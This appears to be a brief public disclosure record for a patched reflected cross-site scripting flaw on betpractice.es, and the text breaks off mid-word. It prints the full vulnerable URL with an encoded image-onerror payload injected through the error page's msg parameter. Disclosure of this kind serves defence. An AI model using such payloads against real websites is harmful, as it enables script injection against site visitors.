betpractice.es XSS vulnerability

Vulnerable URL: http://www.betpractice.es/error.php?msg=IRK%3E%3C%3E%3C%3E%3C%3E%3C%3E%3C%3E%3C%3E%3Cimg%20src=x%20onerror=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 01.12.2015 Latest check for patch:| 01.12.2015 22:10 GMT Vulnerability type:| XSS Vulnerabilit...